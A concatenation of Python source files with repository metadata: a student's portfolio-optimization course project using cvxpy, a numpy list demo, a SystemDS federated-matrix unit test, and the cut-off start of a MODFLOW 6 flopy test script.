get_covariance_returns(returns):\n    \"\"\"\n    Calculate covariance matrices.\n\n    Parameters\n    ----------\n    returns : DataFrame\n        Returns for each ticker and date\n\n    Returns\n    -------\n    returns_covariance  : 2 dimensional Ndarray\n        The covariance of the returns\n    \"\"\"\n    #TODO: Implement function\n    \n    cov=returns.fillna(0)\n    \n    return np.cov(cov,rowvar=False)\n\nproject_tests.test_get_covariance_returns(get_covariance_returns)\n\n\n# ### View Data\n# Let's look at the covariance generated from `get_covariance_returns`.\n\n# In[18]:\n\n\ncovariance_returns = get_covariance_returns(returns)\ncovariance_returns = pd.DataFrame(covariance_returns, returns.columns, returns.columns)\n\ncovariance_returns_correlation = np.linalg.inv(np.diag(np.sqrt(np.diag(covariance_returns))))\ncovariance_returns_correlation = pd.DataFrame(\n    covariance_returns_correlation.dot(covariance_returns).dot(covariance_returns_correlation),\n    covariance_returns.index,\n    covariance_returns.columns)\n\nproject_helper.plot_covariance_returns_correlation(\n    covariance_returns_correlation,\n    'Covariance Returns Correlation Matrix')\n\n\n# ### portfolio variance\n# We can write the portfolio variance $\\sigma^2_p = \\mathbf{x^T} \\mathbf{P} \\mathbf{x}$\n# \n# Recall that the $\\mathbf{x^T} \\mathbf{P} \\mathbf{x}$ is called the quadratic form.\n# We can use the cvxpy function `quad_form(x,P)` to get the quadratic form.\n# \n# ### Distance from index weights\n# We want portfolio weights that track the index closely.  So we want to minimize the distance between them.\n# Recall from the Pythagorean theorem that you can get the distance between two points in an x,y plane by adding the square of the x and y distances and taking the square root.  Extending this to any number of dimensions is called the L2 norm.  So: $\\sqrt{\\sum_{1}^{n}(weight_i - indexWeight_i)^2}$  Can also be written as $\\left \\| \\mathbf{x} - \\mathbf{index} \\right \\|_2$.  There's a cvxpy function called [norm()](https://www.cvxpy.org/api_reference/cvxpy.atoms.other_atoms.html#norm)\n# `norm(x, p=2, axis=None)`.  The default is already set to find an L2 norm, so you would pass in one argument, which is the difference between your portfolio weights and the index weights.\n# \n# ### objective function\n# We want to minimize both the portfolio variance and the distance of the portfolio weights from the index weights.\n# We also want to choose a `scale` constant, which is $\\lambda$ in the expression. \n# \n# $\\mathbf{x^T} \\mathbf{P} \\mathbf{x} + \\lambda \\left \\| \\mathbf{x} - \\mathbf{index} \\right \\|_2$\n# \n# \n# This lets us choose how much priority we give to minimizing the difference from the index, relative to minimizing the variance of the portfolio.  If you choose a higher value for `scale` ($\\lambda$).\n# \n# We can find the objective function using cvxpy `objective = cvx.Minimize()`.  Can you guess what to pass into this function?\n# \n# \n\n# ### constraints\n# We can also define our constraints in a list.  For example, you'd want the weights to sum to one. So $\\sum_{1}^{n}x = 1$.  You may also need to go long only, which means no shorting, so no negative weights.  So $x_i >0 $ for all $i$. you could save a variable as `[x >= 0, sum(x) == 1]`, where x was created using `cvx.Variable()`.\n# \n# ### optimization\n# So now that we have our objective function and constraints, we can solve for the values of $\\mathbf{x}$.\n# cvxpy has the constructor `Problem(objective, constraints)`, which returns a `Problem` object.\n# \n# The `Problem` object has a function solve(), which returns the minimum of the solution.  In this case, this is the minimum variance of the portfolio.\n# \n# It also updates the vector $\\mathbf{x}$.\n# \n# We can check out the values of $x_A$ and $x_B$ that gave the minimum portfolio variance by using `x.value`\n\n# In[19]:\n\n\nimport cvxpy as cvx\n\ndef get_optimal_weights(covariance_returns, index_weights, scale=2.0):\n    \"\"\"\n    Find the optimal weights.\n\n    Parameters\n    ----------\n    covariance_returns : 2 dimensional Ndarray\n        The covariance of the returns\n    index_weights : Pandas Series\n        Index weights for all tickers at a period in time\n    scale : int\n        The penalty factor for weights the deviate from the index \n    Returns\n    -------\n    x : 1 dimensional Ndarray\n        The solution for x\n    \"\"\"\n    \n    m=index_weights.shape[0]\n    \n    x=cvx.Variable(m)\n    \n    p = covariance_returns\n    \n    portfolio_variance = cvx.quad_form(x,p)\n    \n    diff=(x-index_weights)\n    \n    dist=cvx.norm(diff,p=2,axis=None)\n    \n    objective = cvx.Minimize(portfolio_variance + scale*(dist))\n    \n    constraints = [x >= 0 , sum(x) == 1]\n    \n    problem= cvx.Problem(objective,constraints)\n    \n    solved= problem.solve()\n    \n    x_vals= x.value\n    \n    assert len(covariance_returns.shape) == 2\n    assert len(index_weights.shape) == 1\n    assert covariance_returns.shape[0] == covariance_returns.shape[1]  == index_weights.shape[0]\n\n    #TODO: Implement function\n    \n    return x_vals\n\nproject_tests.test_get_optimal_weights(get_optimal_weights)\n\n\n# ## Optimized Portfolio\n# Using the `get_optimal_weights` function, let's generate the optimal ETF weights without rebalanceing. We can do this by feeding in the covariance of the entire history of data. We also need to feed in a set of index weights. We'll go with the average weights of the index over time.\n\n# In[20]:\n\n\nraw_optimal_single_rebalance_etf_weights = get_optimal_weights(covariance_returns.values, index_weights.iloc[-1])\noptimal_single_rebalance_etf_weights = pd.DataFrame(\n    np.tile(raw_optimal_single_rebalance_etf_weights, (len(returns.index), 1)),\n    returns.index,\n    returns.columns)\n\n\n# With our ETF weights built, let's compare it to the index. Run the next cell to calculate the ETF returns and compare it to the index returns.\n\n# In[21]:\n\n\noptim_etf_returns = generate_weighted_returns(returns, optimal_single_rebalance_etf_weights)\noptim_etf_cumulative_returns = calculate_cumulative_returns(optim_etf_returns)\nproject_helper.plot_benchmark_returns(index_weighted_cumulative_returns, optim_etf_cumulative_returns, 'Optimized ETF vs Index')\n\noptim_etf_tracking_error = tracking_error(np.sum(index_weighted_returns, 1), np.sum(optim_etf_returns, 1))\nprint('Optimized ETF Tracking Error: {}'.format(optim_etf_tracking_error))\n\n\n# ## Rebalance Portfolio Over Time\n# The single optimized ETF portfolio used the same weights for the entire history. This might not be the optimal weights for the entire period. Let's rebalance the portfolio over the same period instead of using the same weights. Implement `rebalance_portfolio` to rebalance a portfolio.\n# \n# Reblance the portfolio every n number of days, which is given as `shift_size`. When rebalancing, you should look back a certain number of days of data in the past, denoted as `chunk_size`. Using this data, compute the optoimal weights using `get_optimal_weights` and `get_covariance_returns`.\n\n# In[22]:\n\n\ndef rebalance_portfolio(returns, index_weights, shift_size, chunk_size):\n    \"\"\"\n    Get weights for each rebalancing of the portfolio.\n\n    Parameters\n    ----------\n    returns : DataFrame\n        Returns for each ticker and date\n    index_weights : DataFrame\n        Index weight for each ticker and date\n    shift_size : int\n        The number of days between each rebalance\n    chunk_size : int\n        The number of days to look in the past for rebalancing\n\n    Returns\n    -------\n    all_rebalance_weights  : list of Ndarrays\n        The ETF weights for each point they are rebalanced\n    \"\"\"\n    returns = returns.fillna(0).copy()\n    \n    generate=np.arange(1,len(returns))\n    \n    lists_i=[]\n    \n    count=0\n    \n    lists_r=[]\n    \n    count=-1\n    for i in generate:\n        count+=1\n        if len(lists_r)!=chunk_size:\n            lists_r.append(count)\n            \n        if len(lists_r)==chunk_size:\n            n = lists_r[shift_size-chunk_size:]\n            count=n[-1]\n            lists_i.append(lists_r)\n            lists_r = []\n            for i in n:\n                lists_r.append(i)\n    lists_d=[]\n    \n    for d in lists_i :\n        lists_d.append(d[-1])\n        \n    list_vals=[]\n    for i in lists_i:\n        list_input=[]\n        for n in i:\n            list_input.append(returns.iloc[n].values)\n            \n        list_vals.append(list_input)\n        list_input=[]\n    \n    v=np.array(list_vals)\n    \n    rest = []\n    for i in v:\n        k= pd.DataFrame(i)\n        rest.append(get_covariance_returns(k))\n    \n    weights = []\n    \n    for (i,n) in zip(lists_d,rest):\n        index_w = index_weights.iloc[i]\n        weights.append(get_optimal_weights(n,index_w,scale=2.0))\n        \n    \n    \n    assert returns.index.equals(index_weights.index)\n    assert returns.columns.equals(index_weights.columns)\n    assert shift_size > 0\n    assert chunk_size >= 0\n    \n    #TODO: Implement function\n    \n    \n    \n    return weights\n\nproject_tests.test_rebalance_portfolio(rebalance_portfolio)\n\n\n# Run the following cell to rebalance the portfolio using `rebalance_portfolio`.\n\n# In[23]:\n\n\nchunk_size = 250\nshift_size = 5\nall_rebalance_weights = rebalance_portfolio(returns, index_weights, shift_size, chunk_size)\n\n\n# ## Portfolio Turnover\n# With the portfolio rebalanced, we need to use a metric to measure the cost of rebalancing the portfolio. Implement `get_portfolio_turnover` to calculate the annual portfolio turnover. We'll be using the formulas used in the classroom:\n# \n# $ AnnualizedTurnover =\\frac{SumTotalTurnover}{NumberOfRebalanceEvents} * NumberofRebalanceEventsPerYear $\n# \n# $ SumTotalTurnover =\\sum_{t,n}{\\left | x_{t,n} - x_{t+1,n} \\right |} $ Where $ x_{t,n} $ are the weights at time $ t $ for equity $ n $.\n# \n# $ SumTotalTurnover $ is just a different way of writing $ \\sum \\left | x_{t_1,n} - x_{t_2,n} \\right | $\n\n# In[40]:\n\n\ndef get_portfolio_turnover(all_rebalance_weights, shift_size, rebalance_count, n_trading_days_in_year=252):\n    \"\"\"\n    Calculage portfolio turnover.\n\n    Parameters\n    ----------\n    all_rebalance_weights : list of Ndarrays\n        The ETF weights for each point they are rebalanced\n    shift_size : int\n        The number of days between each rebalance\n    rebalance_count : int\n        Number of times the portfolio was rebalanced\n    n_trading_days_in_year: int\n        Number of trading days in a year\n    \n    Returns\n    -------\n    portfolio_turnover  : float\n        The portfolio turnover\n    \"\"\"\n    rebalance_e = n_trading_days_in_year/shift_size\n    \n    df = pd.DataFrame(all_rebalance_weights)\n    df_s=df.diff(periods=-1)\n    df_t=df_s.fillna(0)\n\n    turnover_per_n = df_t.apply( lambda x: abs(x)).sum()\n    \n    sum_total_turnover = turnover_per_n.sum()\n    \n    annualized_turnover = (sum_total_turnover*rebalance_e)/rebalance_count\n    \n    assert shift_size > 0\n    assert rebalance_count > 0\n    \n    #TODO: Implement function\n    \n    return annualized_turnover\n\nproject_tests.test_get_portfolio_turnover(get_portfolio_turnover)\n\n\n# Run the following cell to get the portfolio turnover from  `get_portfolio turnover`.\n\n# In[41]:\n\n\nprint(get_portfolio_turnover(all_rebalance_weights, shift_size, len(all_rebalance_weights) - 1))\n\n\n# That's it! You've built a smart beta portfolio in part 1 and did portfolio optimization in part 2. You can now submit your project.\n\n# ## Submission\n# Now that you're done with the project, it's time to submit it. Click the submit button in the bottom right. One of our reviewers will give you feedback on your project with a pass or not passed grade. You can continue to the next section while you wait for feedback.\n", "meta": {"hexsha": "7c1021d9611709a82fad37e5434ba93c6605f7c6", "size": 29899, "ext": "py", "lang": "Python", "max_stars_repo_path": "project_3_starter.py", "max_stars_repo_name": "nsushant/AI-For-Trading", "max_stars_repo_head_hexsha": "f33598ec216e33bd441325f777a48efc3fcd202e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "project_3_starter.py", "max_issues_repo_name": "nsushant/AI-For-Trading", "max_issues_repo_head_hexsha": "f33598ec216e33bd441325f777a48efc3fcd202e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "project_3_starter.py", "max_forks_repo_name": "nsushant/AI-For-Trading", "max_forks_repo_head_hexsha": "f33598ec216e33bd441325f777a48efc3fcd202e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.7795071336, "max_line_length": 974, "alphanum_fraction": 0.7117629352, "include": true, "reason": "import numpy,import cvxpy", "num_tokens": 7015, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.13846179234652575, "lm_q1q2_score": 0.06115483599540128}}
{"text": "#twoDimensionalListAndNumpyArray.py\nimport numpy as np\n\ntwoDimList = [[1,2,3,4],[2,3,4,5]]\nprint(twoDimList)\ntwoDimArray = np.array(twoDimList)\nprint(twoDimArray)\n\nfor i in range(len(twoDimList)):\n    print(twoDimList[i])\n    print(twoDimArray[i])\n    for j in range(len(twoDimList[i])):\n        print(twoDimList[i][j])\n        print(twoDimArray[i][j])", "meta": {"hexsha": "8424a74607bb1219ea041198f7a88d8bfd1a5363", "size": 352, "ext": "py", "lang": "Python", "max_stars_repo_path": "Textbook/Chapter 5/twoDimList.py", "max_stars_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_stars_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 16, "max_stars_repo_stars_event_min_datetime": "2019-01-10T18:54:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-28T20:07:20.000Z", "max_issues_repo_path": "Textbook/Chapter 5/twoDimList.py", "max_issues_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_issues_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Textbook/Chapter 5/twoDimList.py", "max_forks_repo_name": "hunterluepke/Learn-Python-for-Stats-and-Econ", "max_forks_repo_head_hexsha": "d580a8e27ba937fc8401ac6d0714b6488ac8bbb6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-01-24T17:11:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-11T01:53:57.000Z", "avg_line_length": 25.1428571429, "max_line_length": 39, "alphanum_fraction": 0.6875, "include": true, "reason": "import numpy", "num_tokens": 118, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.12421300024700382, "lm_q1q2_score": 0.06113616502385954}}
{"text": "# -------------------------------------------------------------\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# -------------------------------------------------------------\n\nimport io\nimport json\nimport os\nimport shutil\nimport sys\nimport unittest\n\nimport numpy as np\nfrom systemds.context import SystemDSContext\nfrom systemds.matrix import Federated\n\nos.environ['SYSDS_QUIET'] = \"1\"\n\ndim = 5\nnp.random.seed(132)\nm1 = np.array(np.random.randint(100, size=dim * dim) + 1.01, dtype=np.double)\nm1.shape = (dim, dim)\nm2 = np.array(np.random.randint(5, size=dim * dim) + 1, dtype=np.double)\nm2.shape = (dim, dim)\n\ntempdir = \"/tmp/test_federated_basic/\"\nmtd = {\"format\": \"csv\", \"header\": \"false\", \"rows\": dim, \"cols\": dim}\n\n# Create the testing directory if it does not exist.\nif not os.path.exists(tempdir):\n    os.makedirs(tempdir)\n\n# Save data files for the Federated workers.\nnp.savetxt(tempdir + \"m1.csv\", m1, delimiter=\",\")\nwith io.open(tempdir + \"m1.csv.mtd\", \"w\", encoding=\"utf-8\") as f:\n    f.write(json.dumps(mtd, ensure_ascii=False))\n\nnp.savetxt(tempdir + \"m2.csv\", m2, delimiter=\",\")\nwith io.open(tempdir + \"m2.csv.mtd\", \"w\", encoding=\"utf-8\") as f:\n    f.write(json.dumps(mtd, ensure_ascii=False))\n\n# Federated workers + file locations\nfed1 = \"localhost:8001/\" + tempdir + \"m1.csv\"\nfed2 = \"localhost:8002/\" + tempdir + \"m2.csv\"\n\n\nclass TestFederatedAggFn(unittest.TestCase):\n\n    sds: SystemDSContext = None\n\n    @classmethod\n    def setUpClass(cls):\n        cls.sds = SystemDSContext()\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.sds.close()\n\n    def test_1(self):\n        f_m1 = Federated(self.sds, [fed1], [([0, 0], [dim, dim])]).compute()\n        res = np.allclose(f_m1, m1)\n        self.assertTrue(res)\n\n    def test_2(self):\n        f_m2 = Federated(self.sds, [fed2], [([0, 0], [dim, dim])]).compute()\n        res = np.allclose(f_m2, m2)\n        self.assertTrue(res)\n\n    def test_3(self):\n        #   [[m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]]\n        f_m1_m2 = Federated(self.sds, \n            [fed1, fed2],\n            [([0, 0], [dim, dim]), ([0, dim], [dim, dim * 2])]\n        ).compute()\n        m1_m2 = np.concatenate((m1, m2), axis=1)\n        res = np.allclose(f_m1_m2, m1_m2)\n        self.assertTrue(res)\n\n    def test_4(self):\n        #   [[m1,m1,m1,m1,m1]\n        #    [m1,m1,m1,m1,m1]\n        #    [m1,m1,m1,m1,m1]\n        #    [m1,m1,m1,m1,m1]\n        #    [m1,m1,m1,m1,m1]\n        #    [m2,m2,m2,m2,m2]\n        #    [m2,m2,m2,m2,m2]\n        #    [m2,m2,m2,m2,m2]\n        #    [m2,m2,m2,m2,m2]\n        #    [m2,m2,m2,m2,m2]]\n        f_m1_m2 = Federated(self.sds, \n            [fed1, fed2],\n            [([0, 0], [dim, dim]), ([dim, 0], [dim * 2, dim])]\n        ).compute()\n        m1_m2 = np.concatenate((m1, m2))\n        res = np.allclose(f_m1_m2, m1_m2)\n        self.assertTrue(res)\n\n    # -----------------------------------\n    # The rest of the tests are\n    # Extended functionality not working Yet\n    # -----------------------------------\n\n    def test_5(self):\n        #   [[m1,m1,m1,m1,m1, 0, 0, 0, 0, 0]\n        #    [m1,m1,m1,m1,m1, 0, 0, 0, 0, 0]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [m1,m1,m1,m1,m1,m2,m2,m2,m2,m2]\n        #    [ 0, 0, 0, 0, 0,m2,m2,m2,m2,m2]\n        #    [ 0, 0, 0, 0, 0,m2,m2,m2,m2,m2]]\n        f_m1_m2 = Federated(self.sds, \n            [fed1, fed2],\n            [([0, 0], [dim, dim]), ([2, dim], [dim + 2, dim * 2])]\n        ).compute()\n\n        m1_p = np.concatenate((m1, np.zeros((2, dim))))\n        m2_p = np.concatenate((np.zeros((2, dim)), m2))\n        m1_m2 = np.concatenate((m1_p, m2_p), axis=1)\n        res = np.allclose(f_m1_m2, m1_m2)\n        self.assertTrue(res)\n\n    # def test_6(self):\n    #     # Note it overwrites the value in the field. not sum or anything else.\n    #     #   [[m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m2,m2,m2,m2,m2]\n    #     #    [m1,m1,m1,m2,m2,m2,m2,m2]\n    #     #    [m1,m1,m1,m2,m2,m2,m2,m2]\n    #     #    [ 0, 0, 0,m2,m2,m2,m2,m2]\n    #     #    [ 0, 0, 0,m2,m2,m2,m2,m2]]\n    #     f_m1_m2 = Federated(self.sds, \n    #         [fed1, fed2], [([0, 0], [dim, dim]), ([2, 3], [dim + 2, dim + 3])]\n    #     ).compute()\n\n    #     m1_m2 = np.zeros((dim + 2, dim + 3))\n    #     m1_m2[0:dim, 0:dim] = m1\n    #     m1_m2[2 : dim + 2, 3 : dim + 3] = m2\n\n    #     res = np.allclose(f_m1_m2, m1_m2)\n    #     self.assertTrue(res)\n\n    # def test_7(self):\n    #     #   [[m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m2,m2,m2,m2,m2]\n    #     #    [m1,m1,m1,m2,m2,m2,m2,m2]    +     1\n    #     #    [m1,m1,m1,m2,m2,m2,m2,m2]\n    #     #    [ 0, 0, 0,m2,m2,m2,m2,m2]\n    #     #    [ 0, 0, 0,m2,m2,m2,m2,m2]]\n    #     f_m1_m2 = Federated(self.sds, \n    #         [fed1, fed2], [([0, 0], [dim, dim]), ([2, 3], [dim + 2, dim + 3])]\n    #     )\n    #     f_m1_m2 = (f_m1_m2 + 1).compute()\n    #     m1_m2 = np.zeros((dim + 2, dim + 3))\n    #     m1_m2[0:dim, 0:dim] = m1\n    #     m1_m2[2 : dim + 2, 3 : dim + 3] = m2\n    #     m1_m2 += 1\n    #     res = np.allclose(f_m1_m2, m1_m2)\n    #     if not res:\n    #         print(\"Federated:\")\n    #         print(f_m1_m2)\n    #         print(\"numpy:\")\n    #         print(m1_m2)\n    #     self.assertTrue(res)\n\n    def test_8(self):\n        #   [[ 0, 0, 0, 0, 0, 0, 0, 0]\n        #    [ 0, 0, 0, 0, 0, 0, 0, 0]\n        #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n        #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n        #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n        #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n        #    [ 0, 0, 0,m1,m1,m1,m1,m1]]\n        f_m1_m2 = Federated(self.sds, [fed1], [([2, 3], [dim + 2, dim + 3])])\n        f_m1_m2 = (f_m1_m2).compute()\n        m1_m2 = np.zeros((dim + 2, dim + 3))\n        m1_m2[2: dim + 2, 3: dim + 3] = m1\n        res = np.allclose(f_m1_m2, m1_m2)\n        if not res:\n            print(\"Federated:\")\n            print(f_m1_m2)\n            print(\"numpy:\")\n            print(m1_m2)\n        self.assertTrue(res)\n\n    # def test_9(self):\n    #     #   [[ 0, 0, 0, 0, 0, 0, 0, 0]\n    #     #    [ 0, 0, 0, 0, 0, 0, 0, 0]\n    #     #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n    #     #    [ 0, 0, 0,m1,m1,m1,m1,m1]    +     1\n    #     #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n    #     #    [ 0, 0, 0,m1,m1,m1,m1,m1]\n    #     #    [ 0, 0, 0,m1,m1,m1,m1,m1]]\n    #     f_m1_m2 = Federated(self.sds, [fed1], [([2, 3], [dim + 2, dim + 3])])\n    #     f_m1_m2 = (f_m1_m2 + 1).compute()\n\n    #     m1_m2 = np.zeros((dim + 2, dim + 3))\n    #     m1_m2[2 : dim + 2, 3 : dim + 3] = m1\n\n    #     m1_m2 += 1\n    #     res = np.allclose(f_m1_m2, m1_m2)\n\n    #     if not res:\n    #         print(\"Federated:\")\n    #         print(f_m1_m2)\n    #         print(\"numpy:\")\n    #         print(m1_m2)\n    #     self.assertTrue(res)\n\n    # def test_10(self):\n    #     #   [[m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [m1,m1,m1,m1,m1, 0, 0, 0]\n    #     #    [ 0, 0, 0, 0, 0, 0, 0, 0]\n    #     #    [ 0, 0, 0, 0, 0, 0, 0, 0]]\n    #     f_m1_m2 = Federated(self.sds, [fed1], [([0, 0], [dim + 2, dim + 3])])\n    #     f_m1_m2 = (f_m1_m2).compute()\n\n    #     m1_m2 = np.zeros((dim + 2, dim + 3))\n    #     m1_m2[0:dim, 0:dim] = m1\n\n    #     res = np.allclose(f_m1_m2, m1_m2)\n\n    #     if not res:\n    #         print(\"Federated:\")\n    #         print(f_m1_m2)\n    #         print(\"numpy:\")\n    #         print(m1_m2)\n    #     self.assertTrue(res)\n\n    # def test_11(self):\n    #     #   [[ 0, 0, 0, 0, 0, 0, 0, 0]\n    #     #    [ 0,m1,m1,m1,m1,m1, 0, 0]\n    #     #    [ 0,m1,m1,m1,m1,m1, 0, 0]\n    #     #    [ 0,m1,m1,m1,m1,m1, 0, 0]\n    #     #    [ 0,m1,m1,m1,m1,m1, 0, 0]\n    #     #    [ 0,m1,m1,m1,m1,m1, 0, 0]\n    #     #    [ 0, 0, 0, 0, 0, 0, 0, 0]]\n    #     f_m1_m2 = Federated(self.sds, [fed1], [([1, 1], [dim + 2, dim + 3])])\n    #     f_m1_m2 = (f_m1_m2).compute()\n\n    #     m1_m2 = np.zeros((dim + 2, dim + 3))\n    #     m1_m2[1 : dim + 1, 1 : dim + 1] = m1\n\n    #     res = np.allclose(f_m1_m2, m1_m2)\n\n    #     if not res:\n    #         print(\"Federated:\")\n    #         print(f_m1_m2)\n    #         print(\"numpy:\")\n    #         print(m1_m2)\n    #     self.assertTrue(res)\n\n\nif __name__ == \"__main__\":\n    unittest.main(exit=False)\n    shutil.rmtree(tempdir)\n", "meta": {"hexsha": "b160d7b552bfa65b7fcfce721150cb1cb71dfed6", "size": 9298, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/main/python/tests/federated/test_federated_basic.py", "max_stars_repo_name": "dkerschbaumer/systemds", "max_stars_repo_head_hexsha": "dc3a9f489951d7e13ec47c5181d2c5d7022665ce", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-12-19T23:01:46.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-19T23:01:46.000Z", "max_issues_repo_path": "src/main/python/tests/federated/test_federated_basic.py", "max_issues_repo_name": "dkerschbaumer/systemds", "max_issues_repo_head_hexsha": "dc3a9f489951d7e13ec47c5181d2c5d7022665ce", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2020-12-19T21:59:55.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-09T22:36:24.000Z", "max_forks_repo_path": "src/main/python/tests/federated/test_federated_basic.py", "max_forks_repo_name": "dkerschbaumer/systemds", "max_forks_repo_head_hexsha": "dc3a9f489951d7e13ec47c5181d2c5d7022665ce", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.2071428571, "max_line_length": 80, "alphanum_fraction": 0.4785975479, "include": true, "reason": "import numpy", "num_tokens": 3765, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769843, "lm_q2_score": 0.12592275991478885, "lm_q1q2_score": 0.06099447705991588}}
{"text": "import os\nimport numpy as np\n\ntry:\n    import flopy\nexcept:\n    msg = \"Error. FloPy package is not available.\\n\"\n    msg += \"Try installing using the following command:\\n\"\n    msg += \" pip install flopy\"\n    raise Exception(msg)\n\nfrom framework import testing_framework, running_on_CI\nfrom simulation import Simulation\n\nex = [\"gwf_noptc01\", \"gwf_noptc02\", \"gwf_noptc03\"]\nexdirs = []\nfor s in ex:\n    exdirs.append(os.path.join(\"temp\", s))\n\nno_ptcrecords = [\"FIRST\", \"ALL\", None]\n\nddir = \"data\"\n\n## run all examples on Travis\ncontinuous_integration = [True for idx in range(len(exdirs))]\n\n# set replace_exe to None to use default executable\n# replace_exe = {'mf2005': 'mf2005devdbl'}\nreplace_exe = None\n\nhtol = [None for idx in range(len(exdirs))]\n\n# static model data\n# temporal discretization\nnper = 1\ntdis_rc = [(1.0, 1, 1.0)]\n\n# spatial discretization data\nnlay, nrow, ncol = 1, 1, 100\nshape3d = (nlay, nrow, ncol)\nsize3d = nlay * nrow * ncol\ndelr, delc = 50.0, 1.0\ntop = 25.0\nbotm = 0.0\nstrt = 0.0\n\n# hydraulic properties\nhk = 50.0\n\n# all cells are active and layer 1 is convertible\nib = 1\n\n# solver options\nnouter, ninner = 500, 300\nhclose, rclose, relax = 1e-9, 1e-6, 1.0\nnewtonoptions = \"\"\nimsla = \"BICGSTAB\"\n\n# chd data\nc6 = []\nccol = [0, ncol - 1]\nhc = [20.0, 11.0]\nfor j, h in zip(ccol, hc):\n    c6.append([(0, 0, j), h])\ncd6 = {0: c6}\nmaxchd = len(cd6[0])\n\n# recharge data\nrech = {0: 0.001}\n\n\ndef build_model(idx, dir, no_ptcrecord):\n    name = ex[idx]\n\n    # build MODFLOW 6 files\n    ws = dir\n    sim = flopy.mf6.MFSimulation(\n        sim_name=name, version=\"mf6\", exe_name=\"mf6\", sim_ws=ws\n    )\n    # create tdis package\n    tdis = flopy.mf6.ModflowTdis(\n        sim, time_units=\"DAYS\", nper=nper, perioddata=tdis_rc\n    )\n\n    # create gwf model\n    gwf = flopy.mf6.ModflowGwf(\n        sim, modelname=name, newtonoptions=newtonoptions, save_flows=True\n    )\n\n    # create iterative model solution and register the gwf model with it\n    ims = flopy.mf6.ModflowIms(\n        sim,\n        print_option=\"SUMMARY\",\n        no_ptcrecord=no_ptcrecord,\n        outer_dvclose=hclose,\n        outer_maximum=nouter,\n        under_relaxation=\"NONE\",\n        inner_maximum=ninner,\n        inner_dvclose=hclose,\n        rcloserecord=rclose,\n        linear_acceleration=imsla,\n        scaling_method=\"NONE\",\n        reordering_method=\"NONE\",\n        relaxation_factor=relax,\n    )\n    sim.register_ims_package(ims, [gwf.name])\n\n    dis = flopy.mf6.ModflowGwfdis(\n        gwf,\n        nlay=nlay,\n        nrow=nrow,\n        ncol=ncol,\n        delr=delr,\n        delc=delc,\n        top=top,\n        botm=botm,\n    )\n\n    # initial conditions\n    ic = flopy.mf6.ModflowGwfic(gwf, strt=strt)\n\n    # node property flow\n    npf = flopy.mf6.ModflowGwfnpf(gwf, save_flows=False, icelltype=1, k=hk)\n\n    # recharge\n    rch = flopy.mf6.ModflowGwfrcha(gwf, readasarrays=True, recharge=rech)\n\n    # chd files\n    chd = 